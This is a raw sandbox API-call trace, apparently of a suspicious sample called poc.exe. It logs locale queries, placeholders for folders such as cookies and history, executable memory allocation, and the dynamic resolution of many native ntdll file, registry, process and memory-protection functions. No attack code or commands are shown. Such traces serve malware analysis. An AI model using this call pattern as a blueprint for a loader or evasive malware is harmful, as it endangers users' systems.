LCType=0x3, lpLCData=0x28f40f, cchData=5 | out: lpLCData="ENU") returned 4 [0117.782] lstrlenA (lpString="C:\\ProgramData\\poc.exe") returned 22 [0117.783] lstrcpynA (in: lpString1=0x28f312, lpString2="ENU", iMaxLength=242 | out: lpString1="ENU") returned="ENU" [0117.783] LoadLibraryExA (lpLibFileName="C:\\ProgramData\\poc.ENU", hFile=0x0, dwFlags=0x2) returned 0x0 [0117.783] lstrcpynA (in: lpString1=0x28f312, lpString2="EN", iMaxLength=242 | out: lpString1="EN") returned="EN" [0117.783] LoadLibraryExA (lpLibFileName="C:\\ProgramData\\poc.EN", hFile=0x0, dwFlags=0x2) returned 0x0 [0117.783] LoadStringA (in: hInstance=0x400000, uID=0xffc0, lpBuffer=0x28f548, cchBufferMax=1024 | out: lpBuffer="") returned 0x0 [0117.783] LoadStringA (in: hInstance=0x400000, uID=0xffdf, lpBuffer=0x28f548, cchBufferMax=1024 | out: lpBuffer="") returned 0x0 [0117.783] LoadStringA (in: hInstance=0x400000, uID=0xffdd, lpBuffer=0x28f548, cchBufferMax=1024 | out: lpBuffer="") returned 0x0 [0117.783] LoadStringA (in: hInstance=0x400000, uID=0xffde, lpBuffer=0x28f548, cchBufferMax=1024 | out: lpBuffer="") returned 0x0 [0117.783] LoadStringA (in: hInstance=0x400000, uID=0xffd1, lpBuffer=0x28f548, cchBufferMax=1024 | out: lpBuffer="") returned 0x0 [0117.783] LoadStringA (in: hInstance=0x400000, uID=0xffd9, lpBuffer=0x28f548, cchBufferMax=1024 | out: lpBuffer="") returned 0x0 [0117.783] LoadStringA (in: hInstance=0x400000, uID=0xffd0, lpBuffer=0x28f548, cchBufferMax=1024 | out: lpBuffer="") returned 0x0 [0117.783] LoadStringA (in: hInstance=0x400000, uID=0xffed, lpBuffer=0x28f548, cchBufferMax=1024 | out: lpBuffer="") returned 0x0 [0117.783] LoadStringA (in: hInstance=0x400000, uID=0xffd4, lpBuffer=0x28f548, cchBufferMax=1024 | out: lpBuffer="") returned 0x0 [0117.783] LoadStringA (in: hInstance=0x400000, uID=0xffd3, lpBuffer=0x28f548, cchBufferMax=1024 | out: lpBuffer="") returned 0x0 [0117.783] LoadStringA (in: hInstance=0x400000, uID=0xffe6, lpBuffer=0x28f548, cchBufferMax=1024 | out: lpBuffer="") returned 0x0 [0117.783] LoadStringA (in: hInstance=0x400000, uID=0xffe7, lpBuffer=0x28f548, cchBufferMax=1024 | out: lpBuffer="") returned 0x0 [0117.783] LoadStringA (in: hInstance=0x400000, uID=0xffe8, lpBuffer=0x28f548, cchBufferMax=1024 | out: lpBuffer="") returned 0x0 [0117.783] LoadStringA (in: hInstance=0x400000, uID=0xffe5, lpBuffer=0x28f548, cchBufferMax=1024 | out: lpBuffer="") returned 0x0 [0117.783] LoadStringA (in: hInstance=0x400000, uID=0xffe3, lpBuffer=0x28f548, cchBufferMax=1024 | out: lpBuffer="") returned 0x0 [0117.783] LoadStringA (in: hInstance=0x400000, uID=0xffe1, lpBuffer=0x28f548, cchBufferMax=1024 | out: lpBuffer="") returned 0x0 [0117.783] LoadStringA (in: hInstance=0x400000, uID=0xffe0, lpBuffer=0x28f548, cchBufferMax=1024 | out: lpBuffer="") returned 0x0 [0117.783] LoadStringA (in: hInstance=0x400000, uID=0xffff, lpBuffer=0x28f548, cchBufferMax=1024 | out: lpBuffer="") returned 0x0 [0117.783] LoadStringA (in: hInstance=0x400000, uID=0xfffe, lpBuffer=0x28f548, cchBufferMax=1024 | out: lpBuffer="") returned 0x0 [0117.783] LoadStringA (in: hInstance=0x400000, uID=0xfffd, lpBuffer=0x28f548, cchBufferMax=1024 | out: lpBuffer="") returned 0x0 [0117.783] LoadStringA (in: hInstance=0x400000, uID=0xfffc, lpBuffer=0x28f548, cchBufferMax=1024 | out: lpBuffer="") returned 0x0 [0117.783] LoadStringA (in: hInstance=0x400000, uID=0xfffb, lpBuffer=0x28f548, cchBufferMax=1024 | out: lpBuffer="") returned 0x0 [0117.783] LoadStringA (in: hInstance=0x400000, uID=0xfffa, lpBuffer=0x28f548, cchBufferMax=1024 | out: lpBuffer="") returned 0x0 [0117.784] LoadStringA (in: hInstance=0x400000, uID=0xfff9, lpBuffer=0x28f548, cchBufferMax=1024 | out: lpBuffer="") returned 0x0 [0117.784] LoadStringA (in: hInstance=0x400000, uID=0xfff8, lpBuffer=0x28f548, cchBufferMax=1024 | out: lpBuffer="") returned 0x0 [0117.784] LoadStringA (in: hInstance=0x400000, uID=0xfff7, lpBuffer=0x28f548, cchBufferMax=1024 | out: lpBuffer="") returned 0x0 [0117.784] LoadStringA (in: hInstance=0x400000, uID=0xfff6, lpBuffer=0x28f548, cchBufferMax=1024 | out: lpBuffer="") returned 0x0 [0117.784] LoadStringA (in: hInstance=0x400000, uID=0xfff5, lpBuffer=0x28f548, cchBufferMax=1024 | out: lpBuffer="") returned 0x0 [0117.784] LoadStringA (in: hInstance=0x400000, uID=0xfff4, lpBuffer=0x28f548, cchBufferMax=1024 | out: lpBuffer="") returned 0x0 [0117.784] LocalAlloc (uFlags=0x0, uBytes=0xff8) returned 0x755138 [0117.784] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x2000, flProtect=0x1) returned 0x460000 [0117.785] LocalAlloc (uFlags=0x0, uBytes=0x644) returned 0x756138 [0117.785] VirtualAlloc (lpAddress=0x460000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x460000 [0117.785] LoadStringA (in: hInstance=0x400000, uID=0xfff2, lpBuffer=0x28f534, cchBufferMax=1024 | out: lpBuffer="") returned 0x0 [0117.785] LoadStringA (in: hInstance=0x400000, uID=0xffe2, lpBuffer=0x28f534, cchBufferMax=1024 | out: lpBuffer="") returned 0x0 [0117.785] GetVersionExA (in: lpVersionInformation=0x28f8cc*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x41cf31, dwMinorVersion=0x460000, dwBuildNumber=0x4000, dwPlatformId=0x0, szCSDVersion="üÏA") | out: lpVersionInformation=0x28f8cc*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0117.785] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x76e10000 [0117.785] GetProcAddress (hModule=0x76e10000, lpProcName="GetDiskFreeSpaceExA") returned 0x76ea434f [0117.785] GetThreadLocale () returned 0x409 [0117.785] GetThreadLocale () returned 0x409 [0117.785] GetLocaleInfoA (in: Locale=0x409, LCType=0x44, lpLCData=0x28f7a4, cchData=256 | out: lpLCData="Jan") returned 4 [0117.785] GetLocaleInfoA (in: Locale=0x409, LCType=0x38, lpLCData=0x28f7a4, cchData=256 | out: lpLCData="January") returned 8 [0117.785] GetLocaleInfoA (in: Locale=0x409, LCType=0x45, lpLCData=0x28f7a4, cchData=256 | out: lpLCData="Feb") returned 4 [0117.785] GetLocaleInfoA (in: Locale=0x409, LCType=0x39, lpLCData=0x28f7a4, cchData=256 | out: lpLCData="February") returned 9 [0117.785] GetLocaleInfoA (in: Locale=0x409, LCType=0x46, lpLCData=0x28f7a4, cchData=256 | out: lpLCData="Mar") returned 4 [0117.785] GetLocaleInfoA (in: Locale=0x409, LCType=0x3a, lpLCData=0x28f7a4, cchData=256 | out: lpLCData="March") returned 6 [0117.785] GetLocaleInfoA (in: Locale=0x409, LCType=0x47, lpLCData=0x28f7a4, cchData=256 | out: lpLCData="Apr") returned 4 [0117.785] GetLocaleInfoA (in: Locale=0x409, LCType=0x3b, lpLCData=0x28f7a4, cchData=256 | out: lpLCData="April") returned 6 [0117.785] GetLocaleInfoA (in: Locale=0x409, LCType=0x48, lpLCData=0x28f7a4, cchData=256 | out: lpLCData="May") returned 4 [0117.785] GetLocaleInfoA (in: Locale=0x409, LCType=0x3c, lpLCData=0x28f7a4, cchData=256 | out: lpLCData="May") returned 4 [0117.786] GetLocaleInfoA (in: Locale=0x409, LCType=0x49, lpLCData=0x28f7a4, cchData=256 | out: lpLCData="Jun") returned 4 [0117.786] GetLocaleInfoA (in: Locale=0x409, LCType=0x3d, lpLCData=0x28f7a4, cchData=256 | out: lpLCData="June") returned 5 [0117.786] GetLocaleInfoA (in: Locale=0x409, LCType=0x4a, lpLCData=0x28f7a4, cchData=256 | out: lpLCData="Jul") returned 4 [0117.786] GetLocaleInfoA (in: Locale=0x409, LCType=0x3e, lpLCData=0x28f7a4, cchData=256 | out: lpLCData="July") returned 5 [0117.786] GetLocaleInfoA (in: Locale=0x409, LCType=0x4b, lpLCData=0x28f7a4, cchData=256 | out: lpLCData="Aug") returned 4 [0117.786] GetLocaleInfoA (in: Locale=0x409, LCType=0x3f, lpLCData=0x28f7a4, cchData=256 | out: lpLCData="August") returned 7 [0117.786] GetLocaleInfoA (in: Locale=0x409, LCType=0x4c, lpLCData=0x28f7a4, cchData=256 | out: lpLCData="Sep") returned 4 [0117.786] GetLocaleInfoA (in: Locale=0x409, LCType=0x40, lpLCData=0x28f7a4, cchData=256 | out: lpLCData="September") returned 10 [0117.786] GetLocaleInfoA (in: Locale=0x409, LCType=0x4d, lpLCData=0x28f7a4, cchData=256 | out: lpLCData="Oct") returned 4 [0117.786] GetLocaleInfoA (in: Locale=0x409, LCType=0x41, lpLCData=0x28f7a4, cchData=256 | out: lpLCData="October") returned 8 [0117.786] GetLocaleInfoA (in: Locale=0x409, LCType=0x4e, lpLCData=0x28f7a4, cchData=256 | out: lpLCData="Nov") returned 4 [0117.786] GetLocaleInfoA (in: Locale=0x409, LCType=0x42, lpLCData=0x28f7a4, cchData=256 | out: lpLCData="November") returned 9 [0117.786] GetLocaleInfoA (in: Locale=0x409, LCType=0x4f, lpLCData=0x28f7a4, cchData=256 | out: lpLCData="Dec") returned 4 [0117.786] GetLocaleInfoA (in: Locale=0x409, LCType=0x43, lpLCData=0x28f7a4, cchData=256 | out: lpLCData="December") returned 9 [0117.786] GetLocaleInfoA (in: Locale=0x409, LCType=0x37, lpLCData=0x28f7a4, cchData=256 | out: lpLCData="Sun") returned 4 [0117.786] GetLocaleInfoA (in: Locale=0x409, LCType=0x30, lpLCData=0x28f7a4, cchData=256 | out: lpLCData="Sunday") returned 7 [0117.786] GetLocaleInfoA (in: Locale=0x409, LCType=0x31, lpLCData=0x28f7a4, cchData=256 | out: lpLCData="Mon") returned 4 [0117.786] GetLocaleInfoA (in: Locale=0x409, LCType=0x2a, lpLCData=0x28f7a4, cchData=256 | out: lpLCData="Monday") returned 7 [0117.786] GetLocaleInfoA (in: Locale=0x409, LCType=0x32, lpLCData=0x28f7a4, cchData=256 | out: lpLCData="Tue") returned 4 [0117.786] GetLocaleInfoA (in: Locale=0x409, LCType=0x2b, lpLCData=0x28f7a4, cchData=256 | out: lpLCData="Tuesday") returned 8 [0117.786] GetLocaleInfoA (in: Locale=0x409, LCType=0x33, lpLCData=0x28f7a4, cchData=256 | out: lpLCData="Wed") returned 4 [0117.786] GetLocaleInfoA (in: Locale=0x409, LCType=0x2c, lpLCData=0x28f7a4, cchData=256 | out: lpLCData="Wednesday") returned 10 [0117.786] GetLocaleInfoA (in: Locale=0x409, LCType=0x34, lpLCData=0x28f7a4, cchData=256 | out: lpLCData="Thu") returned 4 [0117.786] GetLocaleInfoA (in: Locale=0x409, LCType=0x2d, lpLCData=0x28f7a4, cchData=256 | out: lpLCData="Thursday") returned 9 [0117.786] GetLocaleInfoA (in: Locale=0x409, LCType=0x35, lpLCData=0x28f7a4, cchData=256 | out: lpLCData="Fri") returned 4 [0117.786] GetLocaleInfoA (in: Locale=0x409, LCType=0x2e, lpLCData=0x28f7a4, cchData=256 | out: lpLCData="Friday") returned 7 [0117.786] GetLocaleInfoA (in: Locale=0x409, LCType=0x36, lpLCData=0x28f7a4, cchData=256 | out: lpLCData="Sat") returned 4 [0117.786] GetLocaleInfoA (in: Locale=0x409, LCType=0x2f, lpLCData=0x28f7a4, cchData=256 | out: lpLCData="Saturday") returned 9 [0117.786] GetThreadLocale () returned 0x409 [0117.786] GetLocaleInfoA (in: Locale=0x409, LCType=0x14, lpLCData=0x28f800, cchData=256 | out: lpLCData="$") returned 2 [0117.786] GetLocaleInfoA (in: Locale=0x409, LCType=0x1b, lpLCData=0x28f800, cchData=256 | out: lpLCData="0") returned 2 [0117.786] GetLocaleInfoA (in: Locale=0x409, LCType=0x1c, lpLCData=0x28f800, cchData=256 | out: lpLCData="0") returned 2 [0117.786] GetLocaleInfoA (in: Locale=0x409, LCType=0xf, lpLCData=0x28f8f8, cchData=2 | out: lpLCData=",") returned 2 [0117.786] GetLocaleInfoA (in: Locale=0x409, LCType=0xe, lpLCData=0x28f8f8, cchData=2 | out: lpLCData=".") returned 2 [0117.786] GetLocaleInfoA (in: Locale=0x409, LCType=0x19, lpLCData=0x28f800, cchData=256 | out: lpLCData="2") returned 2 [0117.787] GetLocaleInfoA (in: Locale=0x409, LCType=0x1d, lpLCData=0x28f8f8, cchData=2 | out: lpLCData="/") returned 2 [0117.787] GetLocaleInfoA (in: Locale=0x409, LCType=0x1f, lpLCData=0x28f800, cchData=256 | out: lpLCData="M/d/yyyy") returned 9 [0117.787] GetThreadLocale () returned 0x409 [0117.787] GetLocaleInfoA (in: Locale=0x409, LCType=0x1009, lpLCData=0x28f7cc, cchData=256 | out: lpLCData="1") returned 2 [0117.787] GetLocaleInfoA (in: Locale=0x409, LCType=0x20, lpLCData=0x28f800, cchData=256 | out: lpLCData="dddd, MMMM dd, yyyy") returned 20 [0117.787] GetThreadLocale () returned 0x409 [0117.787] GetLocaleInfoA (in: Locale=0x409, LCType=0x1009, lpLCData=0x28f7cc, cchData=256 | out: lpLCData="1") returned 2 [0117.787] GetLocaleInfoA (in: Locale=0x409, LCType=0x1e, lpLCData=0x28f8f8, cchData=2 | out: lpLCData=":") returned 2 [0117.787] GetLocaleInfoA (in: Locale=0x409, LCType=0x28, lpLCData=0x28f800, cchData=256 | out: lpLCData="AM") returned 3 [0117.787] GetLocaleInfoA (in: Locale=0x409, LCType=0x29, lpLCData=0x28f800, cchData=256 | out: lpLCData="PM") returned 3 [0117.787] GetLocaleInfoA (in: Locale=0x409, LCType=0x25, lpLCData=0x28f800, cchData=256 | out: lpLCData="0") returned 2 [0117.787] GetLocaleInfoA (in: Locale=0x409, LCType=0x23, lpLCData=0x28f800, cchData=256 | out: lpLCData="0") returned 2 [0117.787] GetLocaleInfoA (in: Locale=0x409, LCType=0x1005, lpLCData=0x28f800, cchData=256 | out: lpLCData="0") returned 2 [0117.787] GetLocaleInfoA (in: Locale=0x409, LCType=0xc, lpLCData=0x28f8f8, cchData=2 | out: lpLCData=",") returned 2 [0117.787] GetModuleHandleA (lpModuleName="oleaut32.dll") returned 0x769d0000 [0117.787] GetProcAddress (hModule=0x769d0000, lpProcName="VariantChangeTypeEx") returned 0x769d4c28 [0117.787] GetProcAddress (hModule=0x769d0000, lpProcName="VarNeg") returned 0x76a4c802 [0117.787] GetProcAddress (hModule=0x769d0000, lpProcName="VarNot") returned 0x76a4ec66 [0117.787] GetProcAddress (hModule=0x769d0000, lpProcName="VarAdd") returned 0x769f5934 [0117.787] GetProcAddress (hModule=0x769d0000, lpProcName="VarSub") returned 0x76a4d332 [0117.787] GetProcAddress (hModule=0x769d0000, lpProcName="VarMul") returned 0x76a4dbd4 [0117.787] GetProcAddress (hModule=0x769d0000, lpProcName="VarDiv") returned 0x76a4e405 [0117.787] GetProcAddress (hModule=0x769d0000, lpProcName="VarIdiv") returned 0x76a4f00a [0117.788] GetProcAddress (hModule=0x769d0000, lpProcName="VarMod") returned 0x76a4f15e [0117.788] GetProcAddress (hModule=0x769d0000, lpProcName="VarAnd") returned 0x769f5a98 [0117.788] GetProcAddress (hModule=0x769d0000, lpProcName="VarOr") returned 0x76a4ecfa [0117.788] GetProcAddress (hModule=0x769d0000, lpProcName="VarXor") returned 0x76a4ee2e [0117.788] GetProcAddress (hModule=0x769d0000, lpProcName="VarCmp") returned 0x769eb0dc [0117.788] GetProcAddress (hModule=0x769d0000, lpProcName="VarI4FromStr") returned 0x769e6fab [0117.788] GetProcAddress (hModule=0x769d0000, lpProcName="VarR4FromStr") returned 0x769f01a0 [0117.788] GetProcAddress (hModule=0x769d0000, lpProcName="VarR8FromStr") returned 0x769e699e [0117.788] GetProcAddress (hModule=0x769d0000, lpProcName="VarDateFromStr") returned 0x769f6ba7 [0117.788] GetProcAddress (hModule=0x769d0000, lpProcName="VarCyFromStr") returned 0x76a16c12 [0117.788] GetProcAddress (hModule=0x769d0000, lpProcName="VarBoolFromStr") returned 0x769edbd1 [0117.788] GetProcAddress (hModule=0x769d0000, lpProcName="VarBstrFromCy") returned 0x769f7fdc [0117.788] GetProcAddress (hModule=0x769d0000, lpProcName="VarBstrFromDate") returned 0x769e7a2a [0117.788] GetProcAddress (hModule=0x769d0000, lpProcName="VarBstrFromBool") returned 0x769f0355 [0117.789] GetModuleHandleA (lpModuleName="ole32.dll") returned 0x762c0000 [0117.789] GetProcAddress (hModule=0x762c0000, lpProcName="CoCreateInstanceEx") returned 0x76309d4e [0117.789] GetProcAddress (hModule=0x762c0000, lpProcName="CoInitializeEx") returned 0x763009ad [0117.789] GetProcAddress (hModule=0x762c0000, lpProcName="CoAddRefServerProcess") returned 0x76323cf3 [0117.789] GetProcAddress (hModule=0x762c0000, lpProcName="CoReleaseServerProcess") returned 0x76324314 [0117.789] GetProcAddress (hModule=0x762c0000, lpProcName="CoResumeClassObjects") returned 0x762cea02 [0117.789] GetProcAddress (hModule=0x762c0000, lpProcName="CoSuspendClassObjects") returned 0x7632bb02 [0117.789] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName="") returned 0x9c [0117.789] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0xa0 [0117.789] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0xa4 [0117.790] SysReAllocStringLen (in: pbstr=0x44f454*=0x0, psz="%UserProfile FOLDER%", len=0x14 | out: pbstr=0x44f454*="%UserProfile FOLDER%") returned 1 [0117.790] SysReAllocStringLen (in: pbstr=0x44f450*=0x0, psz="%SYSTEM DRIVE%", len=0xe | out: pbstr=0x44f450*="%SYSTEM DRIVE%") returned 1 [0117.790] SysReAllocStringLen (in: pbstr=0x44f44c*=0x0, psz="%Local, ApplicationData FOLDER%", len=0x1f | out: pbstr=0x44f44c*="%Local, ApplicationData FOLDER%") returned 1 [0117.790] SysReAllocStringLen (in: pbstr=0x44f448*=0x0, psz="%AllUsers, ApplicationData FOLDER%", len=0x22 | out: pbstr=0x44f448*="%AllUsers, ApplicationData FOLDER%") returned 1 [0117.790] SysReAllocStringLen (in: pbstr=0x44f444*=0x0, psz="%Temp FOLDER%", len=0xd | out: pbstr=0x44f444*="%Temp FOLDER%") returned 1 [0117.790] SysReAllocStringLen (in: pbstr=0x44f440*=0x0, psz="%ApplicationData FOLDER%", len=0x18 | out: pbstr=0x44f440*="%ApplicationData FOLDER%") returned 1 [0117.790] SysReAllocStringLen (in: pbstr=0x44f43c*=0x0, psz="%InternetCache FOLDER%", len=0x16 | out: pbstr=0x44f43c*="%InternetCache FOLDER%") returned 1 [0117.790] SysReAllocStringLen (in: pbstr=0x44f438*=0x0, psz="%Cookies FOLDER%", len=0x10 | out: pbstr=0x44f438*="%Cookies FOLDER%") returned 1 [0117.790] SysReAllocStringLen (in: pbstr=0x44f434*=0x0, psz="%History FOLDER%", len=0x10 | out: pbstr=0x44f434*="%History FOLDER%") returned 1 [0117.790] SysReAllocStringLen (in: pbstr=0x44f430*=0x0, psz="%My Pictures FOLDER%", len=0x14 | out: pbstr=0x44f430*="%My Pictures FOLDER%") returned 1 [0117.790] SysReAllocStringLen (in: pbstr=0x44f42c*=0x0, psz="%AllUsers, Documents FOLDER%", len=0x1c | out: pbstr=0x44f42c*="%AllUsers, Documents FOLDER%") returned 1 [0117.790] SysReAllocStringLen (in: pbstr=0x44f428*=0x0, psz="%Program Files, Common FOLDER%", len=0x1e | out: pbstr=0x44f428*="%Program Files, Common FOLDER%") returned 1 [0117.790] SysReAllocStringLen (in: pbstr=0x44f424*=0x0, psz="%Program Files FOLDER%", len=0x16 | out: pbstr=0x44f424*="%Program Files FOLDER%") returned 1 [0117.790] SysReAllocStringLen (in: pbstr=0x44f420*=0x0, psz="%My Documents FOLDER%", len=0x15 | out: pbstr=0x44f420*="%My Documents FOLDER%") returned 1 [0117.790] SysReAllocStringLen (in: pbstr=0x44f41c*=0x0, psz="%WINDOWS FOLDER%", len=0x10 | out: pbstr=0x44f41c*="%WINDOWS FOLDER%") returned 1 [0117.790] SysReAllocStringLen (in: pbstr=0x44f418*=0x0, psz="%SYSTEM FOLDER%", len=0xf | out: pbstr=0x44f418*="%SYSTEM FOLDER%") returned 1 [0117.790] SysReAllocStringLen (in: pbstr=0x44f414*=0x0, psz="%DEFAULT FOLDER%", len=0x10 | out: pbstr=0x44f414*="%DEFAULT FOLDER%") returned 1 [0117.790] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77320000 [0117.790] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x40) returned 0x320000 [0117.791] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x76e10000 [0117.791] GetProcAddress (hModule=0x76e10000, lpProcName="GetProcAddress") returned 0x76e21222 [0117.791] GetProcAddress (hModule=0x77320000, lpProcName="ZwClose") returned 0x7733f9d0 [0117.791] GetProcAddress (hModule=0x77320000, lpProcName="ZwSetInformationFile") returned 0x7733fc28 [0117.791] GetProcAddress (hModule=0x77320000, lpProcName="ZwQueryInformationFile") returned 0x7733fa00 [0117.791] GetProcAddress (hModule=0x77320000, lpProcName="ZwReadFile") returned 0x7733f8e0 [0117.791] GetProcAddress (hModule=0x77320000, lpProcName="ZwCreateFile") returned 0x773400a4 [0117.791] GetProcAddress (hModule=0x77320000, lpProcName="ZwOpenFile") returned 0x7733fd54 [0117.791] GetProcAddress (hModule=0x77320000, lpProcName="ZwQueryAttributesFile") returned 0x7733fe4c [0117.791] GetProcAddress (hModule=0x77320000, lpProcName="ZwCreateSection") returned 0x7733ff94 [0117.791] GetProcAddress (hModule=0x77320000, lpProcName="ZwMapViewOfSection") returned 0x7733fc40 [0117.791] GetProcAddress (hModule=0x77320000, lpProcName="ZwQuerySection") returned 0x77340040 [0117.791] GetProcAddress (hModule=0x77320000, lpProcName="ZwUnmapViewOfSection") returned 0x7733fc70 [0117.791] GetProcAddress (hModule=0x77320000, lpProcName="ZwQueryFullAttributesFile") returned 0x7734132c [0117.792] GetProcAddress (hModule=0x77320000, lpProcName="ZwWriteFile") returned 0x7733f918 [0117.792] GetProcAddress (hModule=0x77320000, lpProcName="ZwQueryObject") returned 0x7733f9e8 [0117.792] GetProcAddress (hModule=0x77320000, lpProcName="ZwQueryDirectoryFile") returned 0x7733fd88 [0117.792] GetProcAddress (hModule=0x77320000, lpProcName="ZwOpenSection") returned 0x7733fdb8 [0117.792] GetProcAddress (hModule=0x77320000, lpProcName="ZwDuplicateObject") returned 0x7733fe34 [0117.792] GetProcAddress (hModule=0x77320000, lpProcName="ZwQueryVolumeInformationFile") returned 0x7733ff7c [0117.792] GetProcAddress (hModule=0x77320000, lpProcName="ZwDeleteFile") returned 0x773409d4 [0117.792] GetProcAddress (hModule=0x77320000, lpProcName="ZwLockFile") returned 0x77340e44 [0117.792] GetProcAddress (hModule=0x77320000, lpProcName="ZwUnlockFile") returned 0x77341ea8 [0117.792] GetProcAddress (hModule=0x77320000, lpProcName="ZwTerminateProcess") returned 0x7733fca0 [0117.792] GetProcAddress (hModule=0x77320000, lpProcName="ZwOpenKey") returned 0x7733fa18 [0117.792] GetProcAddress (hModule=0x77320000, lpProcName="ZwEnumerateValueKey") returned 0x7733fa30 [0117.792] GetProcAddress (hModule=0x77320000, lpProcName="ZwQueryKey") returned 0x7733fa80 [0117.792] GetProcAddress (hModule=0x77320000, lpProcName="ZwQueryValueKey") returned 0x7733fa98 [0117.793] GetProcAddress (hModule=0x77320000, lpProcName="ZwCreateKey") returned 0x7733fb30 [0117.793] GetProcAddress (hModule=0x77320000, lpProcName="ZwEnumerateKey") returned 0x7733fd3c [0117.793] GetProcAddress (hModule=0x77320000, lpProcName="ZwSetValueKey") returned 0x773401b4 [0117.793] GetProcAddress (hModule=0x77320000, lpProcName="ZwDeleteKey") returned 0x773409ec [0117.793] GetProcAddress (hModule=0x77320000, lpProcName="ZwDeleteValueKey") returned 0x77340a34 [0117.793] GetProcAddress (hModule=0x77320000, lpProcName="ZwFlushKey") returned 0x77340b70 [0117.793] GetProcAddress (hModule=0x77320000, lpProcName="ZwLoadKey") returned 0x77340dfc [0117.793] GetProcAddress (hModule=0x77320000, lpProcName="ZwLoadKey2") returned 0x77340e14 [0117.793] GetProcAddress (hModule=0x77320000, lpProcName="ZwNotifyChangeKey") returned 0x77340f60 [0117.793] GetProcAddress (hModule=0x77320000, lpProcName="ZwQueryMultipleValueKey") returned 0x7734146c [0117.793] GetProcAddress (hModule=0x77320000, lpProcName="ZwReplaceKey") returned 0x77341738 [0117.793] GetProcAddress (hModule=0x77320000, lpProcName="ZwRestoreKey") returned 0x773417d0 [0117.793] GetProcAddress (hModule=0x77320000, lpProcName="ZwSaveKey") returned 0x77341864 [0117.793] GetProcAddress (hModule=0x77320000, lpProcName="ZwSetInformationKey") returned 0x77341a48 [0117.793] GetProcAddress (hModule=0x77320000, lpProcName="ZwUnloadKey") returned 0x77341e60 [0117.794] GetProcAddress (hModule=0x77320000, lpProcName="ZwAccessCheck") returned 0x77340218 [0117.794] GetProcAddress (hModule=0x77320000, lpProcName="ZwExtendSection") returned 0x77340b0c [0117.794] GetProcAddress (hModule=0x77320000, lpProcName="ZwFlushBuffersFile") returned 0x7733ffac [0117.794] GetProcAddress (hModule=0x77320000, lpProcName="ZwFsControlFile") returned 0x7733fde8 [0117.794] GetProcAddress (hModule=0x77320000, lpProcName="ZwNotifyChangeDirectoryFile") returned 0x77340f48 [0117.794] GetProcAddress (hModule=0x77320000, lpProcName="ZwQuerySecurityObject") returned 0x77341518 [0117.794] GetProcAddress (hModule=0x77320000, lpProcName="ZwSetSecurityObject") returned 0x77341b8c [0117.794] GetProcAddress (hModule=0x77320000, lpProcName="ZwSetVolumeInformationFile") returned 0x77341c8c [0117.794] GetProcAddress (hModule=0x77320000, lpProcName="ZwOpenKeyEx") returned 0x77341008 [0117.794] GetProcAddress (hModule=0x77320000, lpProcName="ZwCreateProcess") returned 0x77340804 [0117.794] GetProcAddress (hModule=0x77320000, lpProcName="ZwCreateProcessEx") returned 0x7733ffdc [0117.794] GetProcAddress (hModule=0x77320000, lpProcName="ZwCreateUserProcess") returned 0x7734090c [0117.794] GetProcAddress (hModule=0x77320000, lpProcName="ZwResumeThread") returned 0x77340058 [0117.794] GetProcAddress (hModule=0x77320000, lpProcName="ZwCreateThread") returned 0x7733fff4 [0117.795] GetProcAddress (hModule=0x77320000, lpProcName="ZwQueryInformationProcess") returned 0x7733fac8 [0117.795] GetProcAddress (hModule=0x77320000, lpProcName="ZwQueryVirtualMemory") returned 0x7733fbc8 [0117.795] GetProcAddress (hModule=0x77320000, lpProcName="ZwDeviceIoControlFile") returned 0x7733f8fc [0117.795] GetProcAddress (hModule=0x77320000, lpProcName="ZwUnmapViewOfSectionEx") returned 0x0 [0117.795] GetProcAddress (hModule=0x77320000, lpProcName="ZwQueryDirectoryFileEx") returned 0x0 [0117.795] VirtualFree (lpAddress=0x320000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0117.795] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77320000 [0117.795] GetProcAddress (hModule=0x77320000, lpProcName="ZwProtectVirtualMemory") returned 0x77340028 [0117.795] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77320000 [0117.795] GetProcAddress (hModule=0x77320000, lpProcName="ZwClose") returned 0x7733f9d0 [0117.795] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77320000 [0117.795] GetProcAddress (hModule=0x77320000, lpProcName="ZwQueryInformationFile") returned 0x7733fa00 [0117.796] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77320000 [0117.796] GetProcAddress (hModule=0x77320000, lpProcName="ZwSetInformationFile") returned 0x7733fc28 [0117.796] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77320000 [0117.796] GetProcAddress (hModule=0x77320000, lpProcName="ZwCreateFile") returned 0x773400a4 [0117.796] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77320000 [0117.796] GetProcAddress (hModule=0x77320000, lpProcName="ZwWriteFile") returned 0x7733f918 [0117.796] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77320000 [0117.796] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x40) returned 0x330000 [0117.796] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x76e10000 [0117.796] GetProcAddress (hModule=0x76e10000, lpProcName="GetProcAddress") returned 0x76e21222 [0117.796] GetProcAddress (hModule=0x77320000, lpProcName="ZwClose") returned 0x7733f9d0 [0117.797] GetProcAddress (hModule=0x77320000, lpProcName="ZwCreateFile") returned 0x773400a4 [0117.797] GetProcAddress (hModule=0x77320000, lpProcName="ZwOpenFile") returned 0x7733fd54 [0117.797] GetProcAddress (hModule=0x77320000, lpProcName="ZwCreateSection") returned 0x7733ff94 [0117.797] GetProcAddress (hModule=0x77320000, lpProcName="ZwMapViewOfSection") returned 0x7733fc40 [0117.797] GetProcAddress (hModule=0x77320000, lpProcName="ZwUnmapViewOfSection") returned 0x7733fc70 